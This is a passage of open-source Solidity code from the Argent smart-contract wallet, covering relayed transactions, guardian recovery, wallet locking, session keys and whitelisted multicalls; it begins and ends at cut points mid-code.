*/ contract ArgentModule is BaseModule, RelayerManager, SecurityManager, TransactionManager { bytes32 constant public NAME = "ArgentModule"; constructor ( IModuleRegistry _registry, IGuardianStorage _guardianStorage, ITransferStorage _userWhitelist, IAuthoriser _authoriser, address _uniswapRouter, uint256 _securityPeriod, uint256 _securityWindow, uint256 _recoveryPeriod, uint256 _lockPeriod ) BaseModule(_registry, _guardianStorage, _userWhitelist, _authoriser, NAME) SecurityManager(_recoveryPeriod, _securityPeriod, _securityWindow, _lockPeriod) TransactionManager(_securityPeriod) RelayerManager(_uniswapRouter) { } /** * @inheritdoc IModule */ function init(address _wallet) external override onlyWallet(_wallet) { enableDefaultStaticCalls(_wallet); } /** * @inheritdoc IModule */ function addModule(address _wallet, address _module) external override onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { require(registry.isRegisteredModule(_module), "AM: module is not registered"); IWallet(_wallet).authoriseModule(_module, true); } /** * @inheritdoc RelayerManager */ function getRequiredSignatures(address _wallet, bytes calldata _data) public view override returns (uint256, OwnerSignature) { bytes4 methodId = Utils.functionPrefix(_data); if (methodId == TransactionManager.multiCall.selector || methodId == TransactionManager.addToWhitelist.selector || methodId == TransactionManager.removeFromWhitelist.selector || methodId == TransactionManager.enableERC1155TokenReceiver.selector || methodId == TransactionManager.clearSession.selector || methodId == ArgentModule.addModule.selector || methodId == SecurityManager.addGuardian.selector || methodId == SecurityManager.revokeGuardian.selector || methodId == SecurityManager.cancelGuardianAddition.selector || methodId == SecurityManager.cancelGuardianRevokation.selector) { // owner return (1, OwnerSignature.Required); } if (methodId == TransactionManager.multiCallWithSession.selector) { return (1, OwnerSignature.Session); } if (methodId == SecurityManager.executeRecovery.selector) { // majority of guardians uint numberOfSignaturesRequired = _majorityOfGuardians(_wallet); require(numberOfSignaturesRequired > 0, "AM: no guardians set on wallet"); return (numberOfSignaturesRequired, OwnerSignature.Disallowed); } if (methodId == SecurityManager.cancelRecovery.selector) { // majority of (owner + guardians) uint numberOfSignaturesRequired = Utils.ceil(recoveryConfigs[_wallet].guardianCount + 1, 2); return (numberOfSignaturesRequired, OwnerSignature.Optional); } if (methodId == TransactionManager.multiCallWithGuardians.selector || methodId == TransactionManager.multiCallWithGuardiansAndStartSession.selector || methodId == SecurityManager.transferOwnership.selector) { // owner + majority of guardians uint majorityGuardians = _majorityOfGuardians(_wallet); uint numberOfSignaturesRequired = majorityGuardians + 1; return (numberOfSignaturesRequired, OwnerSignature.Required); } if (methodId == SecurityManager.finalizeRecovery.selector || methodId == SecurityManager.confirmGuardianAddition.selector || methodId == SecurityManager.confirmGuardianRevokation.selector) { // anyone return (0, OwnerSignature.Anyone); } if (methodId == SecurityManager.lock.selector || methodId == SecurityManager.unlock.selector) { // any guardian return (1, OwnerSignature.Disallowed); } revert("SM: unknown method"); } function _majorityOfGuardians(address _wallet) internal view returns (uint) { return Utils.ceil(guardianStorage.guardianCount(_wallet), 2); } } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./common/Utils.sol"; import "./common/BaseModule.sol"; import "./common/SimpleOracle.sol"; import "../infrastructure/storage/IGuardianStorage.sol"; /** * @title RelayerManager * @notice Abstract Module to execute transactions signed by ETH-less accounts and sent by a relayer. * @author Julien Niset <[email protected]>, Olivier VDB <[email protected]> */ abstract contract RelayerManager is BaseModule, SimpleOracle { uint256 constant internal BLOCKBOUND = 10000; mapping (address => RelayerConfig) internal relayer; struct RelayerConfig { uint256 nonce; mapping (bytes32 => bool) executedTx; } // Used to avoid stack too deep error struct StackExtension { uint256 requiredSignatures; OwnerSignature ownerSignatureRequirement; bytes32 signHash; bool success; bytes returnData; } event TransactionExecuted(address indexed wallet, bool indexed success, bytes returnData, bytes32 signedHash); event Refund(address indexed wallet, address indexed refundAddress, address refundToken, uint256 refundAmount); // *************** Constructor ************************ // constructor(address _uniswapRouter) SimpleOracle(_uniswapRouter) { } /* ***************** External methods ************************* */ /** * @notice Gets the number of valid signatures that must be provided to execute a * specific relayed transaction. * @param _wallet The target wallet. * @param _data The data of the relayed transaction. * @return The number of required signatures and the wallet owner signature requirement. */ function getRequiredSignatures(address _wallet, bytes calldata _data) public view virtual returns (uint256, OwnerSignature); /** * @notice Executes a relayed transaction. * @param _wallet The target wallet. * @param _data The data for the relayed transaction * @param _nonce The nonce used to prevent replay attacks. * @param _signatures The signatures as a concatenated byte array. * @param _gasPrice The max gas price (in token) to use for the gas refund. * @param _gasLimit The max gas limit to use for the gas refund. * @param _refundToken The token to use for the gas refund. * @param _refundAddress The address refunded to prevent front-running. */ function execute( address _wallet, bytes calldata _data, uint256 _nonce, bytes calldata _signatures, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) external returns (bool) { // initial gas = 21k + non_zero_bytes * 16 + zero_bytes * 4 // ~= 21k + calldata.length * [1/3 * 16 + 2/3 * 4] uint256 startGas = gasleft() + 21000 + msg.data.length * 8; require(startGas >= _gasLimit, "RM: not enough gas provided"); require(verifyData(_wallet, _data), "RM: Target of _data != _wallet"); require(!_isLocked(_wallet) || _gasPrice == 0, "RM: Locked wallet refund"); StackExtension memory stack; (stack.requiredSignatures, stack.ownerSignatureRequirement) = getRequiredSignatures(_wallet, _data); require(stack.requiredSignatures > 0 || stack.ownerSignatureRequirement == OwnerSignature.Anyone, "RM: Wrong signature requirement"); require(stack.requiredSignatures * 65 == _signatures.length, "RM: Wrong number of signatures"); stack.signHash = getSignHash( address(this), 0, _data, _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress); require(checkAndUpdateUniqueness( _wallet, _nonce, stack.signHash, stack.requiredSignatures, stack.ownerSignatureRequirement), "RM: Duplicate request"); if (stack.ownerSignatureRequirement == OwnerSignature.Session) { require(validateSession(_wallet, stack.signHash, _signatures), "RM: Invalid session"); } else { require(validateSignatures(_wallet, stack.signHash, _signatures, stack.ownerSignatureRequirement), "RM: Invalid signatures"); } (stack.success, stack.returnData) = address(this).call(_data); refund( _wallet, startGas, _gasPrice, _gasLimit, _refundToken, _refundAddress, stack.requiredSignatures, stack.ownerSignatureRequirement); emit TransactionExecuted(_wallet, stack.success, stack.returnData, stack.signHash); return stack.success; } /** * @notice Gets the current nonce for a wallet. * @param _wallet The target wallet. */ function getNonce(address _wallet) external view returns (uint256 nonce) { return relayer[_wallet].nonce; } /** * @notice Checks if a transaction identified by its sign hash has already been executed. * @param _wallet The target wallet. * @param _signHash The sign hash of the transaction. */ function isExecutedTx(address _wallet, bytes32 _signHash) external view returns (bool executed) { return relayer[_wallet].executedTx[_signHash]; } /** * @notice Gets the last stored session for a wallet. * @param _wallet The target wallet. */ function getSession(address _wallet) external view returns (address key, uint64 expires) { return (sessions[_wallet].key, sessions[_wallet].expires); } /* ***************** Internal & Private methods ************************* */ /** * @notice Generates the signed hash of a relayed transaction according to ERC 1077. * @param _from The starting address for the relayed transaction (should be the relayer module) * @param _value The value for the relayed transaction. * @param _data The data for the relayed transaction which includes the wallet address. * @param _nonce The nonce used to prevent replay attacks. * @param _gasPrice The max gas price (in token) to use for the gas refund. * @param _gasLimit The max gas limit to use for the gas refund. * @param _refundToken The token to use for the gas refund. * @param _refundAddress The address refunded to prevent front-running. */ function getSignHash( address _from, uint256 _value, bytes memory _data, uint256 _nonce, uint256 _gasPrice, uint256 _gasLimit, address _refundToken, address _refundAddress ) internal view returns (bytes32) { return keccak256( abi.encodePacked( "\x19Ethereum Signed Message:\n32", keccak256(abi.encodePacked( bytes1(0x19), bytes1(0), _from, _value, _data, block.chainid, _nonce, _gasPrice, _gasLimit, _refundToken, _refundAddress)) )); } /** * @notice Checks if the relayed transaction is unique. If yes the state is updated. * For actions requiring 1 signature by the owner or a session key we use the incremental nonce. * For all other actions we check/store the signHash in a mapping. * @param _wallet The target wallet. * @param _nonce The nonce. * @param _signHash The signed hash of the transaction. * @param requiredSignatures The number of signatures required. * @param ownerSignatureRequirement The wallet owner signature requirement. * @return true if the transaction is unique. */ function checkAndUpdateUniqueness( address _wallet, uint256 _nonce, bytes32 _signHash, uint256 requiredSignatures, OwnerSignature ownerSignatureRequirement ) internal returns (bool) { if (requiredSignatures == 1 && (ownerSignatureRequirement == OwnerSignature.Required || ownerSignatureRequirement == OwnerSignature.Session)) { // use the incremental nonce if (_nonce <= relayer[_wallet].nonce) { return false; } uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128; if (nonceBlock > block.number + BLOCKBOUND) { return false; } relayer[_wallet].nonce = _nonce; return true; } else { // use the txHash map if (relayer[_wallet].executedTx[_signHash] == true) { return false; } relayer[_wallet].executedTx[_signHash] = true; return true; } } /** * @notice Validates the signatures provided with a relayed transaction. * @param _wallet The target wallet. * @param _signHash The signed hash representing the relayed transaction. * @param _signatures The signatures as a concatenated bytes array. * @param _option An OwnerSignature enum indicating whether the owner is required, optional or disallowed. * @return A boolean indicating whether the signatures are valid. */ function validateSignatures(address _wallet, bytes32 _signHash, bytes memory _signatures, OwnerSignature _option) internal view returns (bool) { if (_signatures.length == 0) { return true; } address lastSigner = address(0); address[] memory guardians; if (_option != OwnerSignature.Required || _signatures.length > 65) { guardians = guardianStorage.getGuardians(_wallet); // guardians are only read if they may be needed } bool isGuardian; for (uint256 i = 0; i < _signatures.length / 65; i++) { address signer = Utils.recoverSigner(_signHash, _signatures, i); if (i == 0) { if (_option == OwnerSignature.Required) { // First signer must be owner if (_isOwner(_wallet, signer)) { continue; } return false; } else if (_option == OwnerSignature.Optional) { // First signer can be owner if (_isOwner(_wallet, signer)) { continue; } } } if (signer <= lastSigner) { return false; // Signers must be different } lastSigner = signer; (isGuardian, guardians) = Utils.isGuardianOrGuardianSigner(guardians, signer); if (!isGuardian) { return false; } } return true; } /** * @notice Validates the signature provided when a session key was used. * @param _wallet The target wallet. * @param _signHash The signed hash representing the relayed transaction. * @param _signatures The signatures as a concatenated bytes array. * @return A boolean indicating whether the signature is valid. */ function validateSession(address _wallet, bytes32 _signHash, bytes calldata _signatures) internal view returns (bool) { Session memory session = sessions[_wallet]; address signer = Utils.recoverSigner(_signHash, _signatures, 0); return (signer == session.key && session.expires >= block.timestamp); } /** * @notice Refunds the gas used to the Relayer. * @param _wallet The target wallet. * @param _startGas The gas provided at the start of the execution. * @param _gasPrice The max gas price (in token) for the refund. * @param _gasLimit The max gas limit for the refund. * @param _refundToken The token to use for the gas refund. * @param _refundAddress The address refunded to prevent front-running. * @param _requiredSignatures The number of signatures required. * @param _option An OwnerSignature enum indicating the signature requirement. */ function refund( address _wallet, uint _startGas, uint _gasPrice, uint _gasLimit, address _refundToken, address _refundAddress, uint256 _requiredSignatures, OwnerSignature _option ) internal { // Only refund when the owner is one of the signers or a session key was used if (_gasPrice > 0 && (_option == OwnerSignature.Required || _option == OwnerSignature.Session)) { address refundAddress = _refundAddress == address(0) ? msg.sender : _refundAddress; if (_requiredSignatures == 1 && _option == OwnerSignature.Required) { // refundAddress must be whitelisted/authorised if (!authoriser.isAuthorised(_wallet, refundAddress, address(0), EMPTY_BYTES)) { uint whitelistAfter = userWhitelist.getWhitelist(_wallet, refundAddress); require(whitelistAfter > 0 && whitelistAfter < block.timestamp, "RM: refund not authorised"); } } uint256 refundAmount; if (_refundToken == ETH_TOKEN) { // 23k as an upper bound to cover the rest of refund logic uint256 gasConsumed = _startGas - gasleft() + 23000; refundAmount = Math.min(gasConsumed, _gasLimit) * (Math.min(_gasPrice, tx.gasprice)); invokeWallet(_wallet, refundAddress, refundAmount, EMPTY_BYTES); } else { // 37.5k as an upper bound to cover the rest of refund logic uint256 gasConsumed = _startGas - gasleft() + 37500; uint256 tokenGasPrice = inToken(_refundToken, tx.gasprice); refundAmount = Math.min(gasConsumed, _gasLimit) * (Math.min(_gasPrice, tokenGasPrice)); bytes memory methodData = abi.encodeWithSelector(ERC20.transfer.selector, refundAddress, refundAmount); bytes memory transferSuccessBytes = invokeWallet(_wallet, _refundToken, 0, methodData); // Check token refund is successful, when `transfer` returns a success bool result if (transferSuccessBytes.length > 0) { require(abi.decode(transferSuccessBytes, (bool)), "RM: Refund transfer failed"); } } emit Refund(_wallet, refundAddress, _refundToken, refundAmount); } } /** * @notice Checks that the wallet address provided as the first parameter of _data matches _wallet * @return false if the addresses are different. */ function verifyData(address _wallet, bytes calldata _data) internal pure returns (bool) { require(_data.length >= 36, "RM: Invalid dataWallet"); address dataWallet = abi.decode(_data[4:], (address)); return dataWallet == _wallet; } } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "./common/Utils.sol"; import "./common/BaseModule.sol"; import "../wallet/IWallet.sol"; /** * @title SecurityManager * @notice Abstract module implementing the key security features of the wallet: guardians, lock and recovery. * @author Julien Niset - <[email protected]> * @author Olivier Van Den Biggelaar - <[email protected]> */ abstract contract SecurityManager is BaseModule { struct RecoveryConfig { address recovery; uint64 executeAfter; uint32 guardianCount; } struct GuardianManagerConfig { // The time at which a guardian addition or revokation will be confirmable by the owner mapping (bytes32 => uint256) pending; } // Wallet specific storage for recovery mapping (address => RecoveryConfig) internal recoveryConfigs; // Wallet specific storage for pending guardian addition/revokation mapping (address => GuardianManagerConfig) internal guardianConfigs; // Recovery period uint256 internal immutable recoveryPeriod; // Lock period uint256 internal immutable lockPeriod; // The security period to add/remove guardians uint256 internal immutable securityPeriod; // The security window uint256 internal immutable securityWindow; // *************** Events *************************** // event RecoveryExecuted(address indexed wallet, address indexed _recovery, uint64 executeAfter); event RecoveryFinalized(address indexed wallet, address indexed _recovery); event RecoveryCanceled(address indexed wallet, address indexed _recovery); event OwnershipTransfered(address indexed wallet, address indexed _newOwner); event Locked(address indexed wallet, uint64 releaseAfter); event Unlocked(address indexed wallet); event GuardianAdditionRequested(address indexed wallet, address indexed guardian, uint256 executeAfter); event GuardianRevokationRequested(address indexed wallet, address indexed guardian, uint256 executeAfter); event GuardianAdditionCancelled(address indexed wallet, address indexed guardian); event GuardianRevokationCancelled(address indexed wallet, address indexed guardian); event GuardianAdded(address indexed wallet, address indexed guardian); event GuardianRevoked(address indexed wallet, address indexed guardian); // *************** Modifiers ************************ // /** * @notice Throws if there is no ongoing recovery procedure. */ modifier onlyWhenRecovery(address _wallet) { require(recoveryConfigs[_wallet].executeAfter > 0, "SM: no ongoing recovery"); _; } /** * @notice Throws if there is an ongoing recovery procedure. */ modifier notWhenRecovery(address _wallet) { require(recoveryConfigs[_wallet].executeAfter == 0, "SM: ongoing recovery"); _; } /** * @notice Throws if the caller is not a guardian for the wallet or the module itself. */ modifier onlyGuardianOrSelf(address _wallet) { require(_isSelf(msg.sender) || isGuardian(_wallet, msg.sender), "SM: must be guardian/self"); _; } // *************** Constructor ************************ // constructor( uint256 _recoveryPeriod, uint256 _securityPeriod, uint256 _securityWindow, uint256 _lockPeriod ) { // For the wallet to be secure we must have recoveryPeriod >= securityPeriod + securityWindow // where securityPeriod and securityWindow are the security parameters of adding/removing guardians. require(_lockPeriod >= _recoveryPeriod, "SM: insecure lock period"); require(_recoveryPeriod >= _securityPeriod + _securityWindow, "SM: insecure security periods"); recoveryPeriod = _recoveryPeriod; lockPeriod = _lockPeriod; securityWindow = _securityWindow; securityPeriod = _securityPeriod; } // *************** External functions ************************ // // *************** Recovery functions ************************ // /** * @notice Lets the guardians start the execution of the recovery procedure. * Once triggered the recovery is pending for the security period before it can be finalised. * Must be confirmed by N guardians, where N = ceil(Nb Guardians / 2). * @param _wallet The target wallet. * @param _recovery The address to which ownership should be transferred. */ function executeRecovery(address _wallet, address _recovery) external onlySelf() notWhenRecovery(_wallet) { validateNewOwner(_wallet, _recovery); uint64 executeAfter = uint64(block.timestamp + recoveryPeriod); recoveryConfigs[_wallet] = RecoveryConfig(_recovery, executeAfter, uint32(guardianStorage.guardianCount(_wallet))); _setLock(_wallet, block.timestamp + lockPeriod, SecurityManager.executeRecovery.selector); emit RecoveryExecuted(_wallet, _recovery, executeAfter); } /** * @notice Finalizes an ongoing recovery procedure if the security period is over. * The method is public and callable by anyone to enable orchestration. * @param _wallet The target wallet. */ function finalizeRecovery(address _wallet) external onlyWhenRecovery(_wallet) { RecoveryConfig storage config = recoveryConfigs[_wallet]; require(uint64(block.timestamp) > config.executeAfter, "SM: ongoing recovery period"); address recoveryOwner = config.recovery; delete recoveryConfigs[_wallet]; _clearSession(_wallet); IWallet(_wallet).setOwner(recoveryOwner); _setLock(_wallet, 0, bytes4(0)); emit RecoveryFinalized(_wallet, recoveryOwner); } /** * @notice Lets the owner cancel an ongoing recovery procedure. * Must be confirmed by N guardians, where N = ceil(Nb Guardian at executeRecovery + 1) / 2) - 1. * @param _wallet The target wallet. */ function cancelRecovery(address _wallet) external onlySelf() onlyWhenRecovery(_wallet) { address recoveryOwner = recoveryConfigs[_wallet].recovery; delete recoveryConfigs[_wallet]; _setLock(_wallet, 0, bytes4(0)); emit RecoveryCanceled(_wallet, recoveryOwner); } /** * @notice Lets the owner transfer the wallet ownership. This is executed immediately. * @param _wallet The target wallet. * @param _newOwner The address to which ownership should be transferred. */ function transferOwnership(address _wallet, address _newOwner) external onlySelf() onlyWhenUnlocked(_wallet) { validateNewOwner(_wallet, _newOwner); IWallet(_wallet).setOwner(_newOwner); emit OwnershipTransfered(_wallet, _newOwner); } /** * @notice Gets the details of the ongoing recovery procedure if any. * @param _wallet The target wallet. */ function getRecovery(address _wallet) external view returns(address _address, uint64 _executeAfter, uint32 _guardianCount) { RecoveryConfig storage config = recoveryConfigs[_wallet]; return (config.recovery, config.executeAfter, config.guardianCount); } // *************** Lock functions ************************ // /** * @notice Lets a guardian lock a wallet. * @param _wallet The target wallet. */ function lock(address _wallet) external onlyGuardianOrSelf(_wallet) onlyWhenUnlocked(_wallet) { _setLock(_wallet, block.timestamp + lockPeriod, SecurityManager.lock.selector); emit Locked(_wallet, uint64(block.timestamp + lockPeriod)); } /** * @notice Lets a guardian unlock a locked wallet. * @param _wallet The target wallet. */ function unlock(address _wallet) external onlyGuardianOrSelf(_wallet) onlyWhenLocked(_wallet) { require(locks[_wallet].locker == SecurityManager.lock.selector, "SM: cannot unlock"); _setLock(_wallet, 0, bytes4(0)); emit Unlocked(_wallet); } /** * @notice Returns the release time of a wallet lock or 0 if the wallet is unlocked. * @param _wallet The target wallet. * @return _releaseAfter The epoch time at which the lock will release (in seconds). */ function getLock(address _wallet) external view returns(uint64 _releaseAfter) { return _isLocked(_wallet) ? locks[_wallet].release : 0; } /** * @notice Checks if a wallet is locked. * @param _wallet The target wallet. * @return _isLocked `true` if the wallet is locked otherwise `false`. */ function isLocked(address _wallet) external view returns (bool) { return _isLocked(_wallet); } // *************** Guardian functions ************************ // /** * @notice Lets the owner add a guardian to its wallet. * The first guardian is added immediately. All following additions must be confirmed * by calling the confirmGuardianAddition() method. * @param _wallet The target wallet. * @param _guardian The guardian to add. */ function addGuardian(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { require(!_isOwner(_wallet, _guardian), "SM: guardian cannot be owner"); require(!isGuardian(_wallet, _guardian), "SM: duplicate guardian"); // Guardians must either be an EOA or a contract with an owner() // method that returns an address with a 25000 gas stipend. // Note that this test is not meant to be strict and can be bypassed by custom malicious contracts. (bool success,) = _guardian.call{gas: 25000}(abi.encodeWithSignature("owner()")); require(success, "SM: must be EOA/Argent wallet"); bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition")); GuardianManagerConfig storage config = guardianConfigs[_wallet]; require( config.pending[id] == 0 || block.timestamp > config.pending[id] + securityWindow, "SM: duplicate pending addition"); config.pending[id] = block.timestamp + securityPeriod; emit GuardianAdditionRequested(_wallet, _guardian, block.timestamp + securityPeriod); } /** * @notice Confirms the pending addition of a guardian to a wallet. * The method must be called during the confirmation window and can be called by anyone to enable orchestration. * @param _wallet The target wallet. * @param _guardian The guardian. */ function confirmGuardianAddition(address _wallet, address _guardian) external onlyWhenUnlocked(_wallet) { bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition")); GuardianManagerConfig storage config = guardianConfigs[_wallet]; require(config.pending[id] > 0, "SM: unknown pending addition"); require(config.pending[id] < block.timestamp, "SM: pending addition not over"); require(block.timestamp < config.pending[id] + securityWindow, "SM: pending addition expired"); guardianStorage.addGuardian(_wallet, _guardian); emit GuardianAdded(_wallet, _guardian); delete config.pending[id]; } /** * @notice Lets the owner cancel a pending guardian addition. * @param _wallet The target wallet. * @param _guardian The guardian. */ function cancelGuardianAddition(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "addition")); GuardianManagerConfig storage config = guardianConfigs[_wallet]; require(config.pending[id] > 0, "SM: unknown pending addition"); delete config.pending[id]; emit GuardianAdditionCancelled(_wallet, _guardian); } /** * @notice Lets the owner revoke a guardian from its wallet. * @dev Revokation must be confirmed by calling the confirmGuardianRevokation() method. * @param _wallet The target wallet. * @param _guardian The guardian to revoke. */ function revokeGuardian(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) { require(isGuardian(_wallet, _guardian), "SM: must be existing guardian"); bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation")); GuardianManagerConfig storage config = guardianConfigs[_wallet]; require( config.pending[id] == 0 || block.timestamp > config.pending[id] + securityWindow, "SM: duplicate pending revoke"); // TODO need to allow if confirmation window passed config.pending[id] = block.timestamp + securityPeriod; emit GuardianRevokationRequested(_wallet, _guardian, block.timestamp + securityPeriod); } /** * @notice Confirms the pending revokation of a guardian to a wallet. * The method must be called during the confirmation window and can be called by anyone to enable orchestration. * @param _wallet The target wallet. * @param _guardian The guardian. */ function confirmGuardianRevokation(address _wallet, address _guardian) external { bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation")); GuardianManagerConfig storage config = guardianConfigs[_wallet]; require(config.pending[id] > 0, "SM: unknown pending revoke"); require(config.pending[id] < block.timestamp, "SM: pending revoke not over"); require(block.timestamp < config.pending[id] + securityWindow, "SM: pending revoke expired"); guardianStorage.revokeGuardian(_wallet, _guardian); emit GuardianRevoked(_wallet, _guardian); delete config.pending[id]; } /** * @notice Lets the owner cancel a pending guardian revokation. * @param _wallet The target wallet. * @param _guardian The guardian. */ function cancelGuardianRevokation(address _wallet, address _guardian) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { bytes32 id = keccak256(abi.encodePacked(_wallet, _guardian, "revokation")); GuardianManagerConfig storage config = guardianConfigs[_wallet]; require(config.pending[id] > 0, "SM: unknown pending revoke"); delete config.pending[id]; emit GuardianRevokationCancelled(_wallet, _guardian); } /** * @notice Checks if an address is a guardian for a wallet. * @param _wallet The target wallet. * @param _guardian The address to check. * @return _isGuardian `true` if the address is a guardian for the wallet otherwise `false`. */ function isGuardian(address _wallet, address _guardian) public view returns (bool _isGuardian) { return guardianStorage.isGuardian(_wallet, _guardian); } /** * @notice Checks if an address is a guardian or an account authorised to sign on behalf of a smart-contract guardian. * @param _wallet The target wallet. * @param _guardian the address to test * @return _isGuardian `true` if the address is a guardian for the wallet otherwise `false`. */ function isGuardianOrGuardianSigner(address _wallet, address _guardian) external view returns (bool _isGuardian) { (_isGuardian, ) = Utils.isGuardianOrGuardianSigner(guardianStorage.getGuardians(_wallet), _guardian); } /** * @notice Counts the number of active guardians for a wallet. * @param _wallet The target wallet. * @return _count The number of active guardians for a wallet. */ function guardianCount(address _wallet) external view returns (uint256 _count) { return guardianStorage.guardianCount(_wallet); } /** * @notice Get the active guardians for a wallet. * @param _wallet The target wallet. * @return _guardians the active guardians for a wallet. */ function getGuardians(address _wallet) external view returns (address[] memory _guardians) { return guardianStorage.getGuardians(_wallet); } // *************** Internal Functions ********************* // function validateNewOwner(address _wallet, address _newOwner) internal view { require(_newOwner != address(0), "SM: new owner cannot be null"); require(!isGuardian(_wallet, _newOwner), "SM: new owner cannot be guardian"); } function _setLock(address _wallet, uint256 _releaseAfter, bytes4 _locker) internal { locks[_wallet] = Lock(SafeCast.toUint64(_releaseAfter), _locker); } } // Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz> // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. // SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.3; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; import "./common/Utils.sol"; import "./common/BaseModule.sol"; import "../../lib_0.5/other/ERC20.sol"; /** * @title TransactionManager * @notice Module to execute transactions in sequence to e.g. transfer tokens (ETH, ERC20, ERC721, ERC1155) or call third-party contracts. * @author Julien Niset - <[email protected]> */ abstract contract TransactionManager is BaseModule { // Static calls bytes4 private constant ERC1271_IS_VALID_SIGNATURE = bytes4(keccak256("isValidSignature(bytes32,bytes)")); bytes4 private constant ERC721_RECEIVED = bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")); bytes4 private constant ERC1155_RECEIVED = bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); bytes4 private constant ERC1155_BATCH_RECEIVED = bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")); bytes4 private constant ERC165_INTERFACE = bytes4(keccak256("supportsInterface(bytes4)")); struct Call { address to; uint256 value; bytes data; } // The time delay for adding a trusted contact uint256 internal immutable whitelistPeriod; // *************** Events *************************** // event AddedToWhitelist(address indexed wallet, address indexed target, uint64 whitelistAfter); event RemovedFromWhitelist(address indexed wallet, address indexed target); event SessionCreated(address indexed wallet, address sessionKey, uint64 expires); event SessionCleared(address indexed wallet, address sessionKey); // *************** Constructor ************************ // constructor(uint256 _whitelistPeriod) { whitelistPeriod = _whitelistPeriod; } // *************** External functions ************************ // /** * @notice Makes the target wallet execute a sequence of transactions authorised by the wallet owner. * The method reverts if any of the inner transactions reverts. * The method reverts if any of the inner transaction is not to a trusted contact or an authorised dapp. * @param _wallet The target wallet. * @param _transactions The sequence of transactions. */ function multiCall( address _wallet, Call[] calldata _transactions ) external onlySelf() onlyWhenUnlocked(_wallet) returns (bytes[] memory) { bytes[] memory results = new bytes[](_transactions.length); for(uint i = 0; i < _transactions.length; i++) { address spender = Utils.recoverSpender(_transactions[i].to, _transactions[i].data); require( (_transactions[i].value == 0 || spender == _transactions[i].to) && (isWhitelisted(_wallet, spender) || authoriser.isAuthorised(_wallet, spender, _transactions[i].to, _transactions[i].data)), "TM: call not authorised"); results[i] = invokeWallet(_wallet, _transactions[i].to, _transactions[i].value, _transactions[i].data); } return results; } /** * @notice Makes the target wallet execute a sequence of transactions authorised by a session key. * The method reverts if any of the inner transactions reverts. * @param _wallet The target wallet. * @param _transactions The sequence of transactions. */ function multiCallWithSession( address _wallet, Call[] calldata _transactions ) external onlySelf() onlyWhenUnlocked(_wallet) returns (bytes[] memory) { return multiCallWithApproval(_wallet, _transactions); } /** * @notice Makes the target wallet execute a sequence of transactions approved by a majority of guardians. * The method reverts if any of the inner transactions reverts. * @param _wallet The target wallet. * @param _transactions The sequence of transactions. */ function multiCallWithGuardians( address _wallet, Call[] calldata _transactions ) external onlySelf() onlyWhenUnlocked(_wallet) returns (bytes[] memory) { return multiCallWithApproval(_wallet, _transactions); } /** * @notice Makes the target wallet execute a sequence of transactions approved by a majority of guardians. * The method reverts if any of the inner transactions reverts. * Upon success a new session is started. * @param _wallet The target wallet. * @param _transactions The sequence of transactions. */ function multiCallWithGuardiansAndStartSession( address _wallet, Call[] calldata _transactions, address _sessionUser, uint64 _duration ) external onlySelf() onlyWhenUnlocked(_wallet) returns (bytes[] memory) { startSession(_wallet, _sessionUser, _duration); return multiCallWithApproval(_wallet, _transactions); } /** * @notice Clears the active session of a wallet if any. * @param _wallet The target wallet. */ function clearSession(address _wallet) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { emit SessionCleared(_wallet, sessions[_wallet].key); _clearSession(_wallet); } /** * @notice Adds an address to the list of trusted contacts. * @param _wallet The target wallet. * @param _target The address to add. */ function addToWhitelist(address _wallet, address _target) external onlyWalletOwnerOrSelf(_wallet) onlyWhenUnlocked(_wallet) { require(_target != _wallet, "TM: Cannot whitelist wallet"); require(!registry.isRegisteredModule(_target), "TM: Cannot whitelist module"); require(!isWhitelisted(_wallet, _target), "TM: target already whitelisted"); uint256 whitelistAfter = block.timestamp + whitelistPeriod; setWhitelist(_wallet, _target, 